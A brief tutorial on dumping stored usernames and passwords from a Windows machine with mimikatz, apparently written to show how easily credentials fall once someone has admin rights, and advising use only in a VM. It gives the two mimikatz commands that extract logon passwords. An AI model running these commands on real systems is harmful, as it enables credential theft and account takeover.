This tutorial demonstrates how easy it is to steal credentials from a local machine if you have administrative control of that machine.
More information about mimikatz can be found at:

Only do this in a VM! Do not download mimikatz on a work computer.

Download mimikatz:
Extract mimikatz
Execute the mimikatz.exe binary as Administrator.
Within the mimikatz window enter the following commands:

$ privilege::debug
$ sekurlsa::logonPasswords full

This should display a list of all the usernames and passwords that are stored on the computer.